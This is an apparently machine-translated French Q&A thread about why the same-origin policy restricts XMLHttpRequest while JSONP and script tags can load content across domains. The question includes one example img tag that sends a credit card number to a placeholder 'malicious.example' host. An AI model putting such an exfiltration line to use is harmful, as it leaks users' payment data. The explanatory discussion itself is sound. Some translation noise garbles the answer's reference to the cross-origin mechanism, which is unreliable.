web-dev-qa-db-fra.com

Quel est le point de la règle de même domaine pour XMLHTTPQUEST lorsque les balises de script / JSONP peuvent croiser des domaines?

Je reçois que je ne veux pas qu'une page chargée de Stackoverflow.com puisse demander à Gmail.com en mon nom et lire mon email - mais cela semble être simplement un problème de cookie.

Étant donné que JSONP contourne entièrement la même origine, je veux savoir pourquoi, au lieu de faire de la valeur XMLHTTPRequest conformément à la même origine, le navigateur ne s'applique pas simplement à la même origine des cookies. En d'autres termes, si la page a été chargée à partir de Stackoverflow.com, le navigateur n'enverra que des cookies à XHRS à Stackoverflow.com. Un XHR to Facebook serait empêché d'envoyer les cookies de l'utilisateur et de donner la vue décorée de Facebook.

Au début, je pensais que c'est juste une "couche supplémentaire" de sécurité ", au cas où" quelqu'un a déjà compromis un site en mettant un script qui ajaxe votre numéro de mot de passe/compte bancaire à "MalicialHacker.ru". Cependant, étant donné que vous pouvez utiliser JSONP dans ce cas, ou même simplement faire un <img src = "http: //malicious.example/steal? CreditCard = 1234123412341234"> Tag, ce n'est pas ce qui est empêché.

18
XP84

Votre prémisse est fausse. Les balises de script et JSON ne contournent pas la même politique d'origine.

La même politique d'origine indique que evil.com ne devrait pas être en mesure de lire les réponses pour des ressources arbitraires sur victim.com. Notez que JavaScript de evil.com peut déclencher des demandes presque arbitraires à être envoyées à victim.com (par exemple, en créant un iframe pointant vers http://victim.com/whatever.html). Cependant, le JavaScript de evil.com ne peut pas lire le contenu de ce document: c'est-à-dire qu'il ne peut pas lire la réponse à cette demande.

Maintenant peut-être ce que vous pensez est que evil.com peut demander au navigateur de charger du code arbitraire de n'importe où sur victim.com puis l'exécuter avec tout ce que evil.com des autorisations. Ce n'est pas un contournement de la même politique d'origine. (Notez également qu'il a tendance à être un risque de sécurité, pour la partie chargée de JavaScript à partir de sites tiers.)

Les XHR doivent être restreints, car XHR permet à JavaScript de non seulement déclencher une demande à envoyer, mais permet également à JavaScript de lire la réponse. La même politique d'origine interdit que, pour les demandes d'origine croisée. La même politique d'origine indique que la lecture de la réponse est quelque chose qui ne devrait être autorisé que si la demande est à la même origine que l'origine du code JavaScript. Ainsi, JavaScript de evil.com est autorisé à émettre un XHR à http://evil.com/doit et lire la réponse, mais il n'est pas autorisé à émettre un XHR à http://victim.com/doit et lire la réponse.

Si vous souhaitez émettre des XHR d'origine croisée, le domaine cible devra alors vous autoriser à l'envoyer à l'origine de celle-ci. Regardez dans [~ # ~ # ~] [~ # ~ ~] Pour les moyens de le faire.

19
D.W.